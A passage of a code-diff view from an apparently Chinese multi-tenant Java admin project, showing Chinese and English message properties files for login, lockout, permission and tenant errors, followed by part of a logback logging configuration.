sms.code.retry.limit.exceed=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F sms.code.retry.limit.exceed=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F
email.code.not.blank=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u4E0D\u80FD\u4E3A\u7A7A email.code.not.blank=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u4E0D\u80FD\u4E3A\u7A7A
email.code.retry.limit.count=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21 email.code.retry.limit.count=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21
email.code.retry.limit.exceed=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F email.code.retry.limit.exceed=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F
xcx.code.not.blank=\u5C0F\u7A0B\u5E8F[code]\u4E0D\u80FD\u4E3A\u7A7A xcx.code.not.blank=\u5C0F\u7A0B\u5E8F[code]\u4E0D\u80FD\u4E3A\u7A7A
social.source.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[source]\u4E0D\u80FD\u4E3A\u7A7A social.source.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[source]\u4E0D\u80FD\u4E3A\u7A7A
social.code.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[code]\u4E0D\u80FD\u4E3A\u7A7A social.code.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[code]\u4E0D\u80FD\u4E3A\u7A7A
social.state.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[state]\u4E0D\u80FD\u4E3A\u7A7A social.state.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[state]\u4E0D\u80FD\u4E3A\u7A7A
##\u79DF\u6237 ##\u79DF\u6237
tenant.number.not.blank=\u79DF\u6237\u7F16\u53F7\u4E0D\u80FD\u4E3A\u7A7A tenant.number.not.blank=\u79DF\u6237\u7F16\u53F7\u4E0D\u80FD\u4E3A\u7A7A
tenant.not.exists=\u5BF9\u4E0D\u8D77, \u60A8\u7684\u79DF\u6237\u4E0D\u5B58\u5728\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 tenant.not.exists=\u5BF9\u4E0D\u8D77, \u60A8\u7684\u79DF\u6237\u4E0D\u5B58\u5728\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458
tenant.blocked=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u79DF\u6237\u5DF2\u7981\u7528\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 tenant.blocked=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u79DF\u6237\u5DF2\u7981\u7528\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458
tenant.expired=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u79DF\u6237\u5DF2\u8FC7\u671F\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 tenant.expired=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u79DF\u6237\u5DF2\u8FC7\u671F\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458

View File

@@ -1,61 +1,61 @@
#错误消息 #错误消息
not.null=* Required fill in not.null=* Required fill in
user.jcaptcha.error=Captcha error user.jcaptcha.error=Captcha error
user.jcaptcha.expire=Captcha invalid user.jcaptcha.expire=Captcha invalid
user.not.exists=Sorry, your account: {0} does not exist user.not.exists=Sorry, your account: {0} does not exist
user.password.not.match=User does not exist/Password error user.password.not.match=User does not exist/Password error
user.password.retry.limit.count=Password input error {0} times user.password.retry.limit.count=Password input error {0} times
user.password.retry.limit.exceed=Password input error {0} times, account locked for {1} minutes user.password.retry.limit.exceed=Password input error {0} times, account locked for {1} minutes
user.password.delete=Sorry, your account{0} has been deleted user.password.delete=Sorry, your account{0} has been deleted
user.blocked=Sorry, your account: {0} has been disabled. Please contact the administrator user.blocked=Sorry, your account: {0} has been disabled. Please contact the administrator
role.blocked=Role disabledplease contact administrators role.blocked=Role disabledplease contact administrators
user.logout.success=Exit successful user.logout.success=Exit successful
length.not.valid=The length must be between {min} and {max} characters length.not.valid=The length must be between {min} and {max} characters
user.username.not.blank=Username cannot be blank user.username.not.blank=Username cannot be blank
user.username.not.valid=* 2 to 20 chinese characters, letters, numbers or underscores, and must start with a non number user.username.not.valid=* 2 to 20 chinese characters, letters, numbers or underscores, and must start with a non number
user.username.length.valid=Account length must be between {min} and {max} characters user.username.length.valid=Account length must be between {min} and {max} characters
user.password.not.blank=Password cannot be empty user.password.not.blank=Password cannot be empty
user.password.length.valid=Password length must be between {min} and {max} characters user.password.length.valid=Password length must be between {min} and {max} characters
user.password.not.valid=* 5-50 characters user.password.not.valid=* 5-50 characters
user.email.not.valid=Mailbox format error user.email.not.valid=Mailbox format error
user.email.not.blank=Mailbox cannot be blank user.email.not.blank=Mailbox cannot be blank
user.phonenumber.not.blank=Phone number cannot be blank user.phonenumber.not.blank=Phone number cannot be blank
user.mobile.phone.number.not.valid=Phone number format error user.mobile.phone.number.not.valid=Phone number format error
user.login.success=Login successful user.login.success=Login successful
user.register.success=Register successful user.register.success=Register successful
user.register.save.error=Failed to save user {0}, The registered account already exists user.register.save.error=Failed to save user {0}, The registered account already exists
user.register.error=Register failed, please contact system administrator user.register.error=Register failed, please contact system administrator
user.notfound=Please login again user.notfound=Please login again
user.forcelogout=The administrator is forced to exitplease login again user.forcelogout=The administrator is forced to exitplease login again
user.unknown.error=Unknown error, please login again user.unknown.error=Unknown error, please login again
auth.grant.type.error=Auth grant type error auth.grant.type.error=Auth grant type error
auth.grant.type.blocked=Auth grant type disabled auth.grant.type.blocked=Auth grant type disabled
auth.grant.type.not.blank=Auth grant type cannot be blank auth.grant.type.not.blank=Auth grant type cannot be blank
auth.clientid.not.blank=Auth clientid cannot be blank auth.clientid.not.blank=Auth clientid cannot be blank
##文件上传消息 ##文件上传消息
upload.exceed.maxSize=The uploaded file size exceeds the limit file size<br/>the maximum allowed file size is{0}MB upload.exceed.maxSize=The uploaded file size exceeds the limit file size<br/>the maximum allowed file size is{0}MB
upload.filename.exceed.length=The maximum length of uploaded file name is {0} characters upload.filename.exceed.length=The maximum length of uploaded file name is {0} characters
##权限 ##权限
no.permission=You do not have permission to the dataplease contact your administrator to add permissions [{0}] no.permission=You do not have permission to the dataplease contact your administrator to add permissions [{0}]
no.create.permission=You do not have permission to create dataplease contact your administrator to add permissions [{0}] no.create.permission=You do not have permission to create dataplease contact your administrator to add permissions [{0}]
no.update.permission=You do not have permission to modify dataplease contact your administrator to add permissions [{0}] no.update.permission=You do not have permission to modify dataplease contact your administrator to add permissions [{0}]
no.delete.permission=You do not have permission to delete dataplease contact your administrator to add permissions [{0}] no.delete.permission=You do not have permission to delete dataplease contact your administrator to add permissions [{0}]
no.export.permission=You do not have permission to export dataplease contact your administrator to add permissions [{0}] no.export.permission=You do not have permission to export dataplease contact your administrator to add permissions [{0}]
no.view.permission=You do not have permission to view dataplease contact your administrator to add permissions [{0}] no.view.permission=You do not have permission to view dataplease contact your administrator to add permissions [{0}]
repeat.submit.message=Repeat submit is not allowed, please try again later repeat.submit.message=Repeat submit is not allowed, please try again later
rate.limiter.message=Visit too frequently, please try again later rate.limiter.message=Visit too frequently, please try again later
sms.code.not.blank=Sms code cannot be blank sms.code.not.blank=Sms code cannot be blank
sms.code.retry.limit.count=Sms code input error {0} times sms.code.retry.limit.count=Sms code input error {0} times
sms.code.retry.limit.exceed=Sms code input error {0} times, account locked for {1} minutes sms.code.retry.limit.exceed=Sms code input error {0} times, account locked for {1} minutes
email.code.not.blank=Email code cannot be blank email.code.not.blank=Email code cannot be blank
email.code.retry.limit.count=Email code input error {0} times email.code.retry.limit.count=Email code input error {0} times
email.code.retry.limit.exceed=Email code input error {0} times, account locked for {1} minutes email.code.retry.limit.exceed=Email code input error {0} times, account locked for {1} minutes
xcx.code.not.blank=Mini program [code] cannot be blank xcx.code.not.blank=Mini program [code] cannot be blank
social.source.not.blank=Social login platform [source] cannot be blank social.source.not.blank=Social login platform [source] cannot be blank
social.code.not.blank=Social login platform [code] cannot be blank social.code.not.blank=Social login platform [code] cannot be blank
social.state.not.blank=Social login platform [state] cannot be blank social.state.not.blank=Social login platform [state] cannot be blank
##租户 ##租户
tenant.number.not.blank=Tenant number cannot be blank tenant.number.not.blank=Tenant number cannot be blank
tenant.not.exists=Sorry, your tenant does not exist. Please contact the administrator tenant.not.exists=Sorry, your tenant does not exist. Please contact the administrator
tenant.blocked=Sorry, your tenant is disabled. Please contact the administrator tenant.blocked=Sorry, your tenant is disabled. Please contact the administrator
tenant.expired=Sorry, your tenant has expired. Please contact the administrator. tenant.expired=Sorry, your tenant has expired. Please contact the administrator.

View File

@@ -1,61 +1,61 @@
#\u9519\u8BEF\u6D88\u606F #\u9519\u8BEF\u6D88\u606F
not.null=* \u5FC5\u987B\u586B\u5199 not.null=* \u5FC5\u987B\u586B\u5199
user.jcaptcha.error=\u9A8C\u8BC1\u7801\u9519\u8BEF user.jcaptcha.error=\u9A8C\u8BC1\u7801\u9519\u8BEF
user.jcaptcha.expire=\u9A8C\u8BC1\u7801\u5DF2\u5931\u6548 user.jcaptcha.expire=\u9A8C\u8BC1\u7801\u5DF2\u5931\u6548
user.not.exists=\u5BF9\u4E0D\u8D77, \u60A8\u7684\u8D26\u53F7\uFF1A{0} \u4E0D\u5B58\u5728. user.not.exists=\u5BF9\u4E0D\u8D77, \u60A8\u7684\u8D26\u53F7\uFF1A{0} \u4E0D\u5B58\u5728.
user.password.not.match=\u7528\u6237\u4E0D\u5B58\u5728/\u5BC6\u7801\u9519\u8BEF user.password.not.match=\u7528\u6237\u4E0D\u5B58\u5728/\u5BC6\u7801\u9519\u8BEF
user.password.retry.limit.count=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21 user.password.retry.limit.count=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21
user.password.retry.limit.exceed=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F user.password.retry.limit.exceed=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F
user.password.delete=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u8D26\u53F7\uFF1A{0} \u5DF2\u88AB\u5220\u9664 user.password.delete=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u8D26\u53F7\uFF1A{0} \u5DF2\u88AB\u5220\u9664
user.blocked=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u8D26\u53F7\uFF1A{0} \u5DF2\u7981\u7528\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 user.blocked=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u8D26\u53F7\uFF1A{0} \u5DF2\u7981\u7528\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458
role.blocked=\u89D2\u8272\u5DF2\u5C01\u7981\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 role.blocked=\u89D2\u8272\u5DF2\u5C01\u7981\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458
user.logout.success=\u9000\u51FA\u6210\u529F user.logout.success=\u9000\u51FA\u6210\u529F
length.not.valid=\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4 length.not.valid=\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4
user.username.not.blank=\u7528\u6237\u540D\u4E0D\u80FD\u4E3A\u7A7A user.username.not.blank=\u7528\u6237\u540D\u4E0D\u80FD\u4E3A\u7A7A
user.username.not.valid=* 2\u523020\u4E2A\u6C49\u5B57\u3001\u5B57\u6BCD\u3001\u6570\u5B57\u6216\u4E0B\u5212\u7EBF\u7EC4\u6210\uFF0C\u4E14\u5FC5\u987B\u4EE5\u975E\u6570\u5B57\u5F00\u5934 user.username.not.valid=* 2\u523020\u4E2A\u6C49\u5B57\u3001\u5B57\u6BCD\u3001\u6570\u5B57\u6216\u4E0B\u5212\u7EBF\u7EC4\u6210\uFF0C\u4E14\u5FC5\u987B\u4EE5\u975E\u6570\u5B57\u5F00\u5934
user.username.length.valid=\u8D26\u6237\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4 user.username.length.valid=\u8D26\u6237\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4
user.password.not.blank=\u7528\u6237\u5BC6\u7801\u4E0D\u80FD\u4E3A\u7A7A user.password.not.blank=\u7528\u6237\u5BC6\u7801\u4E0D\u80FD\u4E3A\u7A7A
user.password.length.valid=\u7528\u6237\u5BC6\u7801\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4 user.password.length.valid=\u7528\u6237\u5BC6\u7801\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4
user.password.not.valid=* 5-50\u4E2A\u5B57\u7B26 user.password.not.valid=* 5-50\u4E2A\u5B57\u7B26
user.email.not.valid=\u90AE\u7BB1\u683C\u5F0F\u9519\u8BEF user.email.not.valid=\u90AE\u7BB1\u683C\u5F0F\u9519\u8BEF
user.email.not.blank=\u90AE\u7BB1\u4E0D\u80FD\u4E3A\u7A7A user.email.not.blank=\u90AE\u7BB1\u4E0D\u80FD\u4E3A\u7A7A
user.phonenumber.not.blank=\u7528\u6237\u624B\u673A\u53F7\u4E0D\u80FD\u4E3A\u7A7A user.phonenumber.not.blank=\u7528\u6237\u624B\u673A\u53F7\u4E0D\u80FD\u4E3A\u7A7A
user.mobile.phone.number.not.valid=\u624B\u673A\u53F7\u683C\u5F0F\u9519\u8BEF user.mobile.phone.number.not.valid=\u624B\u673A\u53F7\u683C\u5F0F\u9519\u8BEF
user.login.success=\u767B\u5F55\u6210\u529F user.login.success=\u767B\u5F55\u6210\u529F
user.register.success=\u6CE8\u518C\u6210\u529F user.register.success=\u6CE8\u518C\u6210\u529F
user.register.save.error=\u4FDD\u5B58\u7528\u6237 {0} \u5931\u8D25\uFF0C\u6CE8\u518C\u8D26\u53F7\u5DF2\u5B58\u5728 user.register.save.error=\u4FDD\u5B58\u7528\u6237 {0} \u5931\u8D25\uFF0C\u6CE8\u518C\u8D26\u53F7\u5DF2\u5B58\u5728
user.register.error=\u6CE8\u518C\u5931\u8D25\uFF0C\u8BF7\u8054\u7CFB\u7CFB\u7EDF\u7BA1\u7406\u4EBA\u5458 user.register.error=\u6CE8\u518C\u5931\u8D25\uFF0C\u8BF7\u8054\u7CFB\u7CFB\u7EDF\u7BA1\u7406\u4EBA\u5458
user.notfound=\u8BF7\u91CD\u65B0\u767B\u5F55 user.notfound=\u8BF7\u91CD\u65B0\u767B\u5F55
user.forcelogout=\u7BA1\u7406\u5458\u5F3A\u5236\u9000\u51FA\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 user.forcelogout=\u7BA1\u7406\u5458\u5F3A\u5236\u9000\u51FA\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55
user.unknown.error=\u672A\u77E5\u9519\u8BEF\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 user.unknown.error=\u672A\u77E5\u9519\u8BEF\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55
auth.grant.type.error=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u9519\u8BEF auth.grant.type.error=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u9519\u8BEF
auth.grant.type.blocked=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u5DF2\u7981\u7528 auth.grant.type.blocked=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u5DF2\u7981\u7528
auth.grant.type.not.blank=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u4E0D\u80FD\u4E3A\u7A7A auth.grant.type.not.blank=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u4E0D\u80FD\u4E3A\u7A7A
auth.clientid.not.blank=\u8BA4\u8BC1\u5BA2\u6237\u7AEFid\u4E0D\u80FD\u4E3A\u7A7A auth.clientid.not.blank=\u8BA4\u8BC1\u5BA2\u6237\u7AEFid\u4E0D\u80FD\u4E3A\u7A7A
##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F ##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F
upload.exceed.maxSize=\u4E0A\u4F20\u7684\u6587\u4EF6\u5927\u5C0F\u8D85\u51FA\u9650\u5236\u7684\u6587\u4EF6\u5927\u5C0F\uFF01<br/>\u5141\u8BB8\u7684\u6587\u4EF6\u6700\u5927\u5927\u5C0F\u662F\uFF1A{0}MB\uFF01 upload.exceed.maxSize=\u4E0A\u4F20\u7684\u6587\u4EF6\u5927\u5C0F\u8D85\u51FA\u9650\u5236\u7684\u6587\u4EF6\u5927\u5C0F\uFF01<br/>\u5141\u8BB8\u7684\u6587\u4EF6\u6700\u5927\u5927\u5C0F\u662F\uFF1A{0}MB\uFF01
upload.filename.exceed.length=\u4E0A\u4F20\u7684\u6587\u4EF6\u540D\u6700\u957F{0}\u4E2A\u5B57\u7B26 upload.filename.exceed.length=\u4E0A\u4F20\u7684\u6587\u4EF6\u540D\u6700\u957F{0}\u4E2A\u5B57\u7B26
##\u6743\u9650 ##\u6743\u9650
no.permission=\u60A8\u6CA1\u6709\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] no.permission=\u60A8\u6CA1\u6709\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}]
no.create.permission=\u60A8\u6CA1\u6709\u521B\u5EFA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] no.create.permission=\u60A8\u6CA1\u6709\u521B\u5EFA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}]
no.update.permission=\u60A8\u6CA1\u6709\u4FEE\u6539\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] no.update.permission=\u60A8\u6CA1\u6709\u4FEE\u6539\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}]
no.delete.permission=\u60A8\u6CA1\u6709\u5220\u9664\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] no.delete.permission=\u60A8\u6CA1\u6709\u5220\u9664\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}]
no.export.permission=\u60A8\u6CA1\u6709\u5BFC\u51FA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] no.export.permission=\u60A8\u6CA1\u6709\u5BFC\u51FA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}]
no.view.permission=\u60A8\u6CA1\u6709\u67E5\u770B\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] no.view.permission=\u60A8\u6CA1\u6709\u67E5\u770B\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}]
repeat.submit.message=\u4E0D\u5141\u8BB8\u91CD\u590D\u63D0\u4EA4\uFF0C\u8BF7\u7A0D\u5019\u518D\u8BD5 repeat.submit.message=\u4E0D\u5141\u8BB8\u91CD\u590D\u63D0\u4EA4\uFF0C\u8BF7\u7A0D\u5019\u518D\u8BD5
rate.limiter.message=\u8BBF\u95EE\u8FC7\u4E8E\u9891\u7E41\uFF0C\u8BF7\u7A0D\u5019\u518D\u8BD5 rate.limiter.message=\u8BBF\u95EE\u8FC7\u4E8E\u9891\u7E41\uFF0C\u8BF7\u7A0D\u5019\u518D\u8BD5
sms.code.not.blank=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u4E0D\u80FD\u4E3A\u7A7A sms.code.not.blank=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u4E0D\u80FD\u4E3A\u7A7A
sms.code.retry.limit.count=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21 sms.code.retry.limit.count=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21
sms.code.retry.limit.exceed=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F sms.code.retry.limit.exceed=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F
email.code.not.blank=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u4E0D\u80FD\u4E3A\u7A7A email.code.not.blank=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u4E0D\u80FD\u4E3A\u7A7A
email.code.retry.limit.count=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21 email.code.retry.limit.count=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21
email.code.retry.limit.exceed=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F email.code.retry.limit.exceed=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F
xcx.code.not.blank=\u5C0F\u7A0B\u5E8F[code]\u4E0D\u80FD\u4E3A\u7A7A xcx.code.not.blank=\u5C0F\u7A0B\u5E8F[code]\u4E0D\u80FD\u4E3A\u7A7A
social.source.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[source]\u4E0D\u80FD\u4E3A\u7A7A social.source.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[source]\u4E0D\u80FD\u4E3A\u7A7A
social.code.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[code]\u4E0D\u80FD\u4E3A\u7A7A social.code.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[code]\u4E0D\u80FD\u4E3A\u7A7A
social.state.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[state]\u4E0D\u80FD\u4E3A\u7A7A social.state.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[state]\u4E0D\u80FD\u4E3A\u7A7A
##\u79DF\u6237 ##\u79DF\u6237
tenant.number.not.blank=\u79DF\u6237\u7F16\u53F7\u4E0D\u80FD\u4E3A\u7A7A tenant.number.not.blank=\u79DF\u6237\u7F16\u53F7\u4E0D\u80FD\u4E3A\u7A7A
tenant.not.exists=\u5BF9\u4E0D\u8D77, \u60A8\u7684\u79DF\u6237\u4E0D\u5B58\u5728\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 tenant.not.exists=\u5BF9\u4E0D\u8D77, \u60A8\u7684\u79DF\u6237\u4E0D\u5B58\u5728\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458
tenant.blocked=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u79DF\u6237\u5DF2\u7981\u7528\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 tenant.blocked=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u79DF\u6237\u5DF2\u7981\u7528\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458
tenant.expired=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u79DF\u6237\u5DF2\u8FC7\u671F\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 tenant.expired=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u79DF\u6237\u5DF2\u8FC7\u671F\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458

View File

@@ -1,129 +1,129 @@
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<configuration> <configuration>
<property name="log.path" value="./logs"/> <property name="log.path" value="./logs"/>
<property name="console.log.pattern" <property name="console.log.pattern"
value="%red(%d{yyyy-MM-dd HH:mm:ss}) %green([%thread]) %highlight(%-5level) %boldMagenta(%logger{36}%n) - %msg%n"/> value="%red(%d{yyyy-MM-dd HH:mm:ss}) %green([%thread]) %highlight(%-5level) %boldMagenta(%logger{36}%n) - %msg%n"/>
<property name="log.pattern" value="%d{yyyy-MM-dd HH:mm:ss} [%thread] %-5level %logger{36} - %msg%n"/> <property name="log.pattern" value="%d{yyyy-MM-dd HH:mm:ss} [%thread] %-5level %logger{36} - %msg%n"/>
<!-- 控制台输出 --> <!-- 控制台输出 -->
<appender name="console" class="ch.qos.logback.core.ConsoleAppender"> <appender name="console" class="ch.qos.logback.core.ConsoleAppender">
<encoder> <encoder>
<pattern>${console.log.pattern}</pattern> <pattern>${console.log.pattern}</pattern>
<charset>utf-8</charset> <charset>utf-8</charset>
</encoder> </encoder>
</appender> </appender>
<!-- 控制台输出 --> <!-- 控制台输出 -->
<appender name="file_console" class="ch.qos.logback.core.rolling.RollingFileAppender"> <appender name="file_console" class="ch.qos.logback.core.rolling.RollingFileAppender">
<file>${log.path}/sys-console.log</file> <file>${log.path}/sys-console.log</file>
<rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy"> <rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">
<!-- 日志文件名格式 --> <!-- 日志文件名格式 -->
<fileNamePattern>${log.path}/sys-console.%d{yyyy-MM-dd}.log</fileNamePattern> <fileNamePattern>${log.path}/sys-console.%d{yyyy-MM-dd}.log</fileNamePattern>
<!-- 日志最大 1天 --> <!-- 日志最大 1天 -->
<maxHistory>1</maxHistory> <maxHistory>1</maxHistory>
</rollingPolicy> </rollingPolicy>
<encoder> <encoder>
<pattern>${log.pattern}</pattern> <pattern>${log.pattern}</pattern>
<charset>utf-8</charset> <charset>utf-8</charset>
</encoder> </encoder>
<filter class="ch.qos.logback.classic.filter.ThresholdFilter"> <filter class="ch.qos.logback.classic.filter.ThresholdFilter">
<!-- 过滤的级别 --> <!-- 过滤的级别 -->
<level>INFO</level> <level>INFO</level>
</filter> </filter>
</appender> </appender>
<!-- 系统日志输出 --> <!-- 系统日志输出 -->
<appender name="file_info" class="ch.qos.logback.core.rolling.RollingFileAppender"> <appender name="file_info" class="ch.qos.logback.core.rolling.RollingFileAppender">
<file>${log.path}/sys-info.log</file> <file>${log.path}/sys-info.log</file>
<!-- 循环政策:基于时间创建日志文件 --> <!-- 循环政策:基于时间创建日志文件 -->
<rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy"> <rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">
<!-- 日志文件名格式 --> <!-- 日志文件名格式 -->
<fileNamePattern>${log.path}/sys-info.%d{yyyy-MM-dd}.log</fileNamePattern> <fileNamePattern>${log.path}/sys-info.%d{yyyy-MM-dd}.log</fileNamePattern>
<!-- 日志最大的历史 60天 --> <!-- 日志最大的历史 60天 -->
<maxHistory>30</maxHistory> <maxHistory>30</maxHistory>
</rollingPolicy> </rollingPolicy>
<encoder> <encoder>
<pattern>${log.pattern}</pattern> <pattern>${log.pattern}</pattern>
</encoder> </encoder>
<filter class="ch.qos.logback.classic.filter.LevelFilter"> <filter class="ch.qos.logback.classic.filter.LevelFilter">
<!-- 过滤的级别 --> <!-- 过滤的级别 -->
<level>INFO</level> <level>INFO</level>
<!-- 匹配时的操作:接收(记录) --> <!-- 匹配时的操作:接收(记录) -->
